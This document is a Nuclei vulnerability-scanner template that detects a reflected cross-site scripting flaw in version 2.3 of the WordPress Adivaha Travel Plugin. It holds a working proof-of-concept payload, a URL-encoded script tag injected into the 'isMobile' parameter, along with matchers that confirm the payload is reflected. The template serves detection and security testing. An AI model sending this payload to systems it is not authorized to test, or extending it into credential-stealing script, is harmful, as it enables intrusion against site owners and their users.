id: wp-adivaha-xss

info:
  name: WordPress Adivaha Travel Plugin 2.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials
  reference:
    - https://www.exploit-db.com/exploits/51663
  metadata:
    verified: true
    max-request: 1
  tags: wordpress,wp,wp-plugin,xss,adivaha,travel,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/mobile-app/v3/?pid=77A89299&isMobile=%20clq95%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Elb1ra"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "travelpayout_flight")'
        condition: and
# digest: 4a0a004730450220112d570e0e198244701649fbb013766195d5e2c483f7ab3071c5271ef8d80003022100c7101feefbea4d8980ab923049be8d781ba873aa7897806bb84a27bab788fb49:922c64590222798bb761d5b6d8e72950